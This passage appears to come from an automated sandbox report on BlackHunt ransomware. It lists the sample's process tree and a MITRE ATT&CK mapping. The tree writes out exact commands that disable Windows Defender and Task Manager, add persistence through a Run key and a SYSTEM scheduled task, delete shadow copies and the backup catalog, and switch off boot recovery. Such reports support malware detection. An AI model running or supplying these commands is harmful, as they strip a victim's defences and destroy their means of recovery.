  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:5108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe" /F
  2⤵
  PID:4656
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3600
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2796
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4384
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:384
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4888
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3920
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4456
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4912
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3000
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1048
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3972

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4680

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3380

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4480

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery